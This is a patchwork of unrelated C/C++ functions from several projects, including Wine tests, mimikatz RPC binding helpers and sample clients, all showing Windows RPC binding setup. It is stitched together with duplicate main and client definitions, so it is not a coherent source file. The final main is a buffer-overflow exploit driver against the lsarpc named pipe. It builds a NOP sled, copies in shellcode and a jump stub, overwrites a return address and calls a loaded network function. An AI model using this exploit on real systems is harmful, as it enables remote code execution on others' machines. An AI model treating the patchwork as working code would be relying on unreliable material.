static void
client(const char *test)
{
if (strcmp(test, "tcp_basic") == 0)
{
static unsigned char iptcp[] = "ncacn_ip_tcp";
static unsigned char address[] = "127.0.0.1";
static unsigned char port[] = PORT;
unsigned char *binding;
ok(RPC_S_OK == RpcStringBindingCompose(NULL, iptcp, address, port, NULL, &binding), "RpcStringBindingCompose\n");
ok(RPC_S_OK == RpcBindingFromStringBinding(binding, &IServer_IfHandle), "RpcBindingFromStringBinding\n");
run_tests();
ok(RPC_S_OK == RpcStringFree(&binding), "RpcStringFree\n");
ok(RPC_S_OK == RpcBindingFree(&IServer_IfHandle), "RpcBindingFree\n");
}
else if (strcmp(test, "np_basic") == 0)
{
static unsigned char np[] = "ncacn_np";
static unsigned char address[] = "\\\\.";
static unsigned char pipe[] = PIPE;
unsigned char *binding;
ok(RPC_S_OK == RpcStringBindingCompose(NULL, np, address, pipe, NULL, &binding), "RpcStringBindingCompose\n");
ok(RPC_S_OK == RpcBindingFromStringBinding(binding, &IServer_IfHandle), "RpcBindingFromStringBinding\n");
run_tests();
stop();
ok(RPC_S_OK == RpcStringFree(&binding), "RpcStringFree\n");
ok(RPC_S_OK == RpcBindingFree(&IServer_IfHandle), "RpcBindingFree\n");
}
}
static void test_RpcStringBindingFromBinding(void)
{
static unsigned char ncacn_np[] = "ncacn_np";
static unsigned char address[] = ".";
static unsigned char endpoint[] = "\\pipe\\wine_rpc_test";
RPC_STATUS status;
handle_t handle;
RPC_CSTR binding;
status = RpcStringBindingCompose(NULL, ncacn_np, address,
endpoint, NULL, &binding);
ok(status == RPC_S_OK, "RpcStringBindingCompose failed (%u)\n", status);
status = RpcBindingFromStringBinding(binding, &handle);
ok(status == RPC_S_OK, "RpcBindingFromStringBinding failed (%u)\n", status);
RpcStringFree(&binding);
status = RpcBindingToStringBinding(handle, &binding);
ok(status == RPC_S_OK, "RpcStringBindingFromBinding failed with error %u\n", status);
ok(!strcmp((const char *)binding, "ncacn_np:.[\\\\pipe\\\\wine_rpc_test]"),
"binding string didn't match what was expected: \"%s\"\n", binding);
RpcStringFree(&binding);
status = RpcBindingFree(&handle);
ok(status == RPC_S_OK, "RpcBindingFree failed with error %u\n", status);
}
int main(int argc, char* argv[])
{
RPC_STATUS status;
unsigned char * pszNetworkAddress = NULL;
unsigned char * pszStringBinding = NULL;
int i;
for ( i = 1; i < argc; ++i )
{
if ( strcmp(argv[i], "-ip") == 0 )
{
pszNetworkAddress = (unsigned char *)argv[++i];
}
}
status = RpcStringBindingCompose(
NULL,
(unsigned char *)"ncacn_np",
pszNetworkAddress,
(unsigned char *)"\\pipe\\{a5194558-21a6-4978-9610-2072fcf1dc6e}",
NULL,
&pszStringBinding );
if ( status != 0 )
{
printf("RpcStringBindingCompose return %d !\n", status);
return 1;
}
printf("pszStringBinding = %s\n", pszStringBinding);
status = RpcBindingFromStringBinding(
pszStringBinding,
&hello_Binding );
if ( status != 0 )
{
printf("RpcBindingFromStringBinding return %d !\n", status);
return 1;
}
doRpcCall();
status = RpcStringFree( &pszStringBinding );
if ( status != 0 )
printf("RpcStringFree return %d !\n", status);
status = RpcBindingFree( &hello_Binding );
if ( status != 0 )
printf("RpcBindingFree return %d !\n", status);
getchar();
return 0;
}
// this binds to the interface , and assigns to the interface handle
void __stdcall Bind(const char * NetworkAddress, const char * EndPoint, const char * protocolSequence)
{
// avoid leaking handles ?
if (StringBinding)
UnBind();
RpcStringBindingCompose(NULL,
(unsigned char *) protocolSequence,
(unsigned char *) NetworkAddress,
(unsigned char *) EndPoint,
NULL,
&StringBinding);
RpcBindingFromStringBinding(StringBinding, &winamp_IfHandle);
}
BOOL kull_m_rpc_createBinding(LPCWSTR ProtSeq, LPCWSTR NetworkAddr, LPCWSTR Endpoint, LPCWSTR Service, DWORD ImpersonationType, RPC_BINDING_HANDLE *hBinding, void (RPC_ENTRY * RpcSecurityCallback)(void *))
{
BOOL status = FALSE;
RPC_STATUS rpcStatus;
RPC_WSTR StringBinding = NULL;
RPC_SECURITY_QOS SecurityQOS = {RPC_C_SECURITY_QOS_VERSION, RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH, RPC_C_QOS_IDENTITY_STATIC, ImpersonationType};
LPWSTR fullServer;
DWORD szServer = (DWORD) (wcslen(NetworkAddr) * sizeof(wchar_t)), szPrefix = (DWORD) (wcslen(Service) * sizeof(wchar_t));
*hBinding = NULL;
rpcStatus = RpcStringBindingCompose(NULL, (RPC_WSTR) ProtSeq, (RPC_WSTR) NetworkAddr, (RPC_WSTR) Endpoint, NULL, &StringBinding);
if(rpcStatus == RPC_S_OK)
{
rpcStatus = RpcBindingFromStringBinding(StringBinding, hBinding);
if(rpcStatus == RPC_S_OK)
{
if(*hBinding)
{
if(fullServer = (LPWSTR) LocalAlloc(LPTR, szPrefix + sizeof(wchar_t) + szServer + sizeof(wchar_t)))
{
RtlCopyMemory(fullServer, Service, szPrefix);
RtlCopyMemory((PBYTE) fullServer + szPrefix + sizeof(wchar_t), NetworkAddr, szServer);
((PBYTE) fullServer)[szPrefix] = L'/';
rpcStatus = RpcBindingSetAuthInfoEx(*hBinding, (RPC_WSTR) fullServer, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_VISTA) ? RPC_C_AUTHN_GSS_KERBEROS : RPC_C_AUTHN_GSS_NEGOTIATE, NULL, 0, &SecurityQOS);
if(rpcStatus == RPC_S_OK)
{
if(RpcSecurityCallback)
{
rpcStatus = RpcBindingSetOption(*hBinding, RPC_C_OPT_SECURITY_CALLBACK, (ULONG_PTR) RpcSecurityCallback);
status = (rpcStatus == RPC_S_OK);
if(!status)
PRINT_ERROR(L"RpcBindingSetOption: 0x%08x (%u)\n", rpcStatus, rpcStatus);
}
else status = TRUE;
}
else PRINT_ERROR(L"RpcBindingSetAuthInfoEx: 0x%08x (%u)\n", rpcStatus, rpcStatus);
LocalFree(fullServer);
}
}
else PRINT_ERROR(L"No Binding!\n");
}
else PRINT_ERROR(L"RpcBindingFromStringBinding: 0x%08x (%u)\n", rpcStatus, rpcStatus);
RpcStringFree(&StringBinding);
}
else PRINT_ERROR(L"RpcStringBindingCompose: 0x%08x (%u)\n", rpcStatus, rpcStatus);
return status;
}
handle_t
PrtDistCreateRPCClient(
PRT_VALUE* target
)
{
PRT_INT32 nodeId = target->valueUnion.mid->processId.data2;
PRT_INT32 portNumber = PrtDistGetRecvPortNumber(target);
RPC_STATUS status;
unsigned char* szStringBinding = NULL;
handle_t handle;
//get centralserverID
char buffPort[100];
_itoa(portNumber, buffPort, 10);
// Creates a string binding handle.
// This function is nothing more than a printf.
// Connection is not done here.
status = RpcStringBindingCompose(
NULL, // UUID to bind to.
(unsigned char*)("ncacn_ip_tcp"), // Use TCP/IP
// protocol.
(unsigned char*)(ClusterConfiguration.ClusterMachines[nodeId]), // TCP/IP network
// address to use.
(unsigned char*)buffPort, // TCP/IP port to use.
NULL, // Protocol dependent network options to use.
&szStringBinding); // String binding output.
if (status)
exit(status);
// Validates the format of the string binding handle and converts
// it to a binding handle.
// Connection is not done here either.
status = RpcBindingFromStringBinding(
szStringBinding, // The string binding to validate.
&handle); // Put the result in the implicit binding
// handle defined in the IDL file.
if (status)
{
PrtAssert(PRT_FALSE, "Failed to create an RPC Client");
}
return handle;
}
BOOL kull_m_rpc_drsr_createBinding(LPCWSTR server, RPC_BINDING_HANDLE *hBinding)
{
BOOL status = FALSE;
RPC_STATUS rpcStatus;
RPC_WSTR StringBinding = NULL;
RPC_SECURITY_QOS SecurityQOS = {RPC_C_SECURITY_QOS_VERSION, RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH, RPC_C_QOS_IDENTITY_STATIC, RPC_C_IMP_LEVEL_DEFAULT};
LPWSTR fullServer;
DWORD szServer = (DWORD) (wcslen(server) * sizeof(wchar_t)), szPrefix = sizeof(PREFIX_LDAP); // includes NULL;
*hBinding = NULL;
rpcStatus = RpcStringBindingCompose(NULL, (RPC_WSTR) L"ncacn_ip_tcp", (RPC_WSTR) server, NULL, NULL, &StringBinding);
if(rpcStatus == RPC_S_OK)
{
rpcStatus = RpcBindingFromStringBinding(StringBinding, hBinding);
if(rpcStatus == RPC_S_OK)
{
if(*hBinding)
{
if(fullServer = (LPWSTR) LocalAlloc(LPTR, szPrefix + szServer))
{
RtlCopyMemory(fullServer, PREFIX_LDAP, szPrefix);
RtlCopyMemory((PBYTE) fullServer + (szPrefix - sizeof(wchar_t)), server, szServer);
rpcStatus = RpcBindingSetAuthInfoEx(*hBinding, (RPC_WSTR) fullServer, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_VISTA) ? RPC_C_AUTHN_GSS_KERBEROS : RPC_C_AUTHN_GSS_NEGOTIATE, NULL, 0, &SecurityQOS);
if(rpcStatus == RPC_S_OK)
{
rpcStatus = RpcBindingSetOption(*hBinding, RPC_C_OPT_SECURITY_CALLBACK, (ULONG_PTR) kull_m_rpc_drsr_RpcSecurityCallback);
status = (rpcStatus == RPC_S_OK);
if(!status)
PRINT_ERROR(L"RpcBindingSetOption: 0x%08x (%u)\n", rpcStatus, rpcStatus);
}
else PRINT_ERROR(L"RpcBindingSetAuthInfoEx: 0x%08x (%u)\n", rpcStatus, rpcStatus);
LocalFree(fullServer);
}
}
else PRINT_ERROR(L"No Binding!\n");
}
else PRINT_ERROR(L"RpcBindingFromStringBinding: 0x%08x (%u)\n", rpcStatus, rpcStatus);
RpcStringFree(&StringBinding);
}
else PRINT_ERROR(L"RpcStringBindingCompose: 0x%08x (%u)\n", rpcStatus, rpcStatus);
return status;
}
bool init_rpc_client()
{
if (process_heap == NULL)
return false;
RPC_WSTR binding_str;
RPC_STATUS rpc_status;
rpc_status = RpcStringBindingCompose(NULL, reinterpret_cast<RPC_WSTR>(L"ncalrpc"), NULL, reinterpret_cast<RPC_WSTR>(L"gdipp"), NULL, &binding_str);
if (rpc_status != RPC_S_OK)
return false;
rpc_status = RpcBindingFromStringBinding(binding_str, &h_gdipp_rpc);
if (rpc_status != RPC_S_OK)
return false;
rpc_status = RpcStringFree(&binding_str);
if (rpc_status != RPC_S_OK)
return false;
return true;
}
HRESULT StartClient( const wchar_t* sessionGuidStr, const GUID& sessionGuid, HCTXCMD* hContext )
{
HRESULT hr = S_OK;
RPC_STATUS rpcRet = RPC_S_OK;
RPC_WSTR strBinding = NULL;
RPC_BINDING_HANDLE hBinding = NULL;
std::wstring endpoint( AGENT_CMD_IF_LOCAL_ENDPOINT_PREFIX );
endpoint.append( sessionGuidStr );
rpcRet = RpcStringBindingCompose(
NULL,
AGENT_LOCAL_PROTOCOL_SEQUENCE,
NULL,
(RPC_WSTR) endpoint.c_str(),
NULL,
&strBinding );
if ( rpcRet != RPC_S_OK )
return HRESULT_FROM_WIN32( rpcRet );
rpcRet = RpcBindingFromStringBinding( strBinding, &hBinding );
RpcStringFree( &strBinding );
if ( rpcRet != RPC_S_OK )
return HRESULT_FROM_WIN32( rpcRet );
// MSDN recommends letting the RPC runtime resolve the binding, so skip RpcEpResolveBinding
hr = OpenCmdInterface( hBinding, sessionGuid, hContext );
// Now that we've connected and gotten a context handle,
// we don't need the binding handle anymore.
RpcBindingFree( &hBinding );
if ( FAILED( hr ) )
return hr;
return S_OK;
}
//
// FUNCTION: main
//
// PURPOSE: Parses arguments and binds to the server.
//
// PARAMETERS:
// argc - number of command line arguments
// argv - array of command line arguments
//
// RETURN VALUE:
// Program exit code.
//
//
int main(int argc, char *argv[])
{
char *serverAddress = NULL;
char *protocol = "ncalrpc";
UINT iIterations = 100;
unsigned char *stringBinding;
RPC_BINDING_HANDLE Binding;
RPC_STATUS status;
ULONG SecurityLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY;
argc--;
argv++;
while(argc)
{
if ( argv[0][0] != '-'
&& argv[0][0] != '/')
{
Usage();
return(1);
}
switch(argv[0][1])
{
case 'n':
if (argc < 2)
{
Usage();
return(1);
}
serverAddress = argv[1];
argc--;
argv++;
break;
case 't':
if (argc < 2)
{
Usage();
return(1);
}
protocol = argv[1];
argc--;
argv++;
break;
case 'i':
if (argc < 2)
{
Usage();
return(1);
}
iIterations = atoi(argv[1]);
argc--;
argv++;
break;
case 's':
if (argc < 2)
{
Usage();
return(1);
}
SecurityLevel = atoi(argv[1]);
if (SecurityLevel > RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
{
Usage();
return(1);
}
argc--;
argv++;
break;
default:
Usage();
return(1);
break;
}
argc--;
argv++;
}
status = RpcStringBindingCompose(0,
protocol,
serverAddress,
0,
0,
&stringBinding);
if (status != RPC_S_OK)
{
printf("RpcStringBindingCompose failed - %d\n", status);
return(1);
}
status = RpcBindingFromStringBinding(stringBinding, &Binding);
if (status != RPC_S_OK)
{
printf("RpcBindingFromStringBinding failed - %d\n", status);
return(1);
}
status =
RpcBindingSetAuthInfo(Binding,
0,
SecurityLevel,
RPC_C_AUTHN_WINNT,
0,
0
);
if (status != RPC_S_OK)
{
printf("RpcBindingSetAuthInfo failed - %d\n", status);
return(1);
}
status = Ping(Binding);
if (status != RPC_S_OK)
{
printf("Ping failed - %d\n", status);
}
printf("Connected.\n");
//
// Call and time various RPC calls.
//
DoTimings(Binding, iIterations);
// Cleanup
status = RpcBindingFree(&Binding);
// ASSERT(status == RPC_S_OK):
status = RpcStringFree(&stringBinding);
// ASSERT(status == RPC_S_OK);
return(0);
}
static void
client(const char *test)
{
static unsigned char iptcp[] = "ncacn_ip_tcp";
static unsigned char np[] = "ncacn_np";
static unsigned char ncalrpc[] = "ncalrpc";
static unsigned char address[] = "127.0.0.1";
static unsigned char address_np[] = "\\\\.";
static unsigned char port[] = PORT;
static unsigned char pipe[] = PIPE;
static unsigned char guid[] = "00000000-4114-0704-2301-000000000000";
unsigned char *binding;
if (strcmp(test, "tcp_basic") == 0)
{
ok(RPC_S_OK == RpcStringBindingCompose(NULL, iptcp, address, port, NULL, &binding), "RpcStringBindingCompose\n");
ok(RPC_S_OK == RpcBindingFromStringBinding(binding, &IServer_IfHandle), "RpcBindingFromStringBinding\n");
run_tests();
authinfo_test(RPC_PROTSEQ_TCP, 0);
ok(RPC_S_OK == RpcStringFree(&binding), "RpcStringFree\n");
ok(RPC_S_OK == RpcBindingFree(&IServer_IfHandle), "RpcBindingFree\n");
}
else if (strcmp(test, "tcp_secure") == 0)
{
ok(RPC_S_OK == RpcStringBindingCompose(NULL, iptcp, address, port, NULL, &binding), "RpcStringBindingCompose\n");
ok(RPC_S_OK == RpcBindingFromStringBinding(binding, &IServer_IfHandle), "RpcBindingFromStringBinding\n");
set_auth_info(IServer_IfHandle);
authinfo_test(RPC_PROTSEQ_TCP, 1);
ok(RPC_S_OK == RpcStringFree(&binding), "RpcStringFree\n");
ok(RPC_S_OK == RpcBindingFree(&IServer_IfHandle), "RpcBindingFree\n");
}
else if (strcmp(test, "ncalrpc_basic") == 0)
{
ok(RPC_S_OK == RpcStringBindingCompose(NULL, ncalrpc, NULL, guid, NULL, &binding), "RpcStringBindingCompose\n");
ok(RPC_S_OK == RpcBindingFromStringBinding(binding, &IServer_IfHandle), "RpcBindingFromStringBinding\n");
run_tests(); /* can cause RPC_X_BAD_STUB_DATA exception */
authinfo_test(RPC_PROTSEQ_LRPC, 0);
ok(RPC_S_OK == RpcStringFree(&binding), "RpcStringFree\n");
ok(RPC_S_OK == RpcBindingFree(&IServer_IfHandle), "RpcBindingFree\n");
}
else if (strcmp(test, "ncalrpc_secure") == 0)
{
ok(RPC_S_OK == RpcStringBindingCompose(NULL, ncalrpc, NULL, guid, NULL, &binding), "RpcStringBindingCompose\n");
ok(RPC_S_OK == RpcBindingFromStringBinding(binding, &IServer_IfHandle), "RpcBindingFromStringBinding\n");
set_auth_info(IServer_IfHandle);
authinfo_test(RPC_PROTSEQ_LRPC, 1);
ok(RPC_S_OK == RpcStringFree(&binding), "RpcStringFree\n");
ok(RPC_S_OK == RpcBindingFree(&IServer_IfHandle), "RpcBindingFree\n");
}
else if (strcmp(test, "np_basic") == 0)
{
ok(RPC_S_OK == RpcStringBindingCompose(NULL, np, address_np, pipe, NULL, &binding), "RpcStringBindingCompose\n");
ok(RPC_S_OK == RpcBindingFromStringBinding(binding, &IServer_IfHandle), "RpcBindingFromStringBinding\n");
run_tests();
authinfo_test(RPC_PROTSEQ_NMP, 0);
stop();
ok(RPC_S_OK == RpcStringFree(&binding), "RpcStringFree\n");
ok(RPC_S_OK == RpcBindingFree(&IServer_IfHandle), "RpcBindingFree\n");
}
}
static void test_rpc_ncacn_ip_tcp(void)
{
RPC_STATUS status;
unsigned char *binding, *principal;
handle_t IFoo_IfHandle;
ULONG level, authnsvc, authzsvc;
RPC_AUTH_IDENTITY_HANDLE identity;
static unsigned char foo[] = "foo";
static unsigned char ncacn_ip_tcp[] = "ncacn_ip_tcp";
static unsigned char address[] = "127.0.0.1";
static unsigned char endpoint[] = "4114";
static unsigned char spn[] = "principal";
status = RpcNetworkIsProtseqValid(foo);
ok(status == RPC_S_INVALID_RPC_PROTSEQ, "return wrong\n");
status = RpcNetworkIsProtseqValid(ncacn_ip_tcp);
ok(status == RPC_S_OK, "return wrong\n");
status = RpcMgmtStopServerListening(NULL);
todo_wine {
ok(status == RPC_S_NOT_LISTENING,
"wrong RpcMgmtStopServerListening error (%u)\n", status);
}
status = RpcMgmtWaitServerListen();
ok(status == RPC_S_NOT_LISTENING,
"wrong RpcMgmtWaitServerListen error status (%u)\n", status);
status = RpcServerListen(1, 20, FALSE);
ok(status == RPC_S_NO_PROTSEQS_REGISTERED,
"wrong RpcServerListen error (%u)\n", status);
status = RpcServerUseProtseqEp(ncacn_ip_tcp, 20, endpoint, NULL);
ok(status == RPC_S_OK, "RpcServerUseProtseqEp failed (%u)\n", status);
status = RpcServerRegisterIf(IFoo_v0_0_s_ifspec, NULL, NULL);
ok(status == RPC_S_OK, "RpcServerRegisterIf failed (%u)\n", status);
status = RpcServerListen(1, 20, TRUE);
todo_wine {
ok(status == RPC_S_OK, "RpcServerListen failed (%u)\n", status);
}
status = RpcServerListen(1, 20, TRUE);
todo_wine {
ok(status == RPC_S_ALREADY_LISTENING,
"wrong RpcServerListen error (%u)\n", status);
}
status = RpcStringBindingCompose(NULL, ncacn_ip_tcp, address,
endpoint, NULL, &binding);
ok(status == RPC_S_OK, "RpcStringBindingCompose failed (%u)\n", status);
status = RpcBindingFromStringBinding(binding, &IFoo_IfHandle);
ok(status == RPC_S_OK, "RpcBindingFromStringBinding failed (%u)\n",
status);
status = RpcBindingSetAuthInfo(IFoo_IfHandle, NULL, RPC_C_AUTHN_LEVEL_NONE,
RPC_C_AUTHN_WINNT, NULL, RPC_C_AUTHZ_NAME);
ok(status == RPC_S_OK, "RpcBindingSetAuthInfo failed (%u)\n", status);
status = RpcBindingInqAuthInfo(IFoo_IfHandle, NULL, NULL, NULL, NULL, NULL);
ok(status == RPC_S_BINDING_HAS_NO_AUTH, "RpcBindingInqAuthInfo failed (%u)\n",
status);
status = RpcBindingSetAuthInfo(IFoo_IfHandle, spn, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_WINNT, NULL, RPC_C_AUTHZ_NAME);
ok(status == RPC_S_OK, "RpcBindingSetAuthInfo failed (%u)\n", status);
level = authnsvc = authzsvc = 0;
principal = (unsigned char *)0xdeadbeef;
identity = (RPC_AUTH_IDENTITY_HANDLE *)0xdeadbeef;
status = RpcBindingInqAuthInfo(IFoo_IfHandle, &principal, &level, &authnsvc,
&identity, &authzsvc);
ok(status == RPC_S_OK, "RpcBindingInqAuthInfo failed (%u)\n", status);
ok(identity == NULL, "expected NULL identity, got %p\n", identity);
ok(principal != (unsigned char *)0xdeadbeef, "expected valid principal, got %p\n", principal);
ok(level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY, "expected RPC_C_AUTHN_LEVEL_PKT_PRIVACY, got %d\n", level);
ok(authnsvc == RPC_C_AUTHN_WINNT, "expected RPC_C_AUTHN_WINNT, got %d\n", authnsvc);
todo_wine ok(authzsvc == RPC_C_AUTHZ_NAME, "expected RPC_C_AUTHZ_NAME, got %d\n", authzsvc);
if (status == RPC_S_OK) RpcStringFree(&principal);
status = RpcMgmtStopServerListening(NULL);
ok(status == RPC_S_OK, "RpcMgmtStopServerListening failed (%u)\n",
status);
status = RpcMgmtStopServerListening(NULL);
ok(status == RPC_S_OK, "RpcMgmtStopServerListening failed (%u)\n",
status);
status = RpcServerUnregisterIf(NULL, NULL, FALSE);
ok(status == RPC_S_OK, "RpcServerUnregisterIf failed (%u)\n", status);
status = RpcMgmtWaitServerListen();
todo_wine {
ok(status == RPC_S_OK, "RpcMgmtWaitServerListen failed (%u)\n", status);
}
status = RpcStringFree(&binding);
ok(status == RPC_S_OK, "RpcStringFree failed (%u)\n", status);
status = RpcBindingFree(&IFoo_IfHandle);
ok(status == RPC_S_OK, "RpcBindingFree failed (%u)\n", status);
}
int main(int argc, char **argv)
{
HMODULE hNetLib;
FARPROC NetLibFunc;
char junk[]="\xee\xee\xee";
char strAsmSex[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBigBuffer[BUFSIZE];
unsigned int targetNo=0;
unsigned char * pszUuid = NULL;
unsigned char * pszProtocolSequence = "ncacn_np";
unsigned char * pszNetworkAddress = NULL;
unsigned char * pszEndpoint = "\\pipe\\lsarpc";
unsigned char * pszOptions = NULL;
unsigned char * pszStringBinding = NULL;
unsigned char * pszString = NULL;
RPC_STATUS rpcStatus;
Banner();
if(argc==2)targetNo=atoi(argv[1])-1;
else
{
Usage();
return 0;
}
rpcStatus=RpcStringBindingCompose(pszUuid,
pszProtocolSequence,
pszNetworkAddress,
pszEndpoint,
pszOptions,
&pszStringBinding);
if(rpcStatus)
{
printf("rpcbind error\n");
return 1;
}
printf("rpcbind success!\n");
hNetLib = LoadLibrary(NET_LIB);
if(hNetLib == NULL)
{
printf("[x] Error loadin' library %s\n Exitin'...\n",NET_LIB);
return 1;
}
NetLibFunc = (HANDLE)GetProcAddress(hNetLib,NET_LIB_FUNC);
memset(strBigBuffer, NOP, BUFSIZE);
memcpy(strBigBuffer+160, shellcode, strlen(shellcode));
memcpy(strBigBuffer+1980, strAsmSex, strlen(strAsmSex));
*(long *)&strBigBuffer[1964]=target[targetNo].jmpAddr;
NetLibFunc(strBigBuffer,junk,junk,junk,junk,junk,junk,junk,junk,junk,junk,junk);
RpcStringFree(&pszStringBinding);
FreeLibrary(hNetLib);
return 0;
}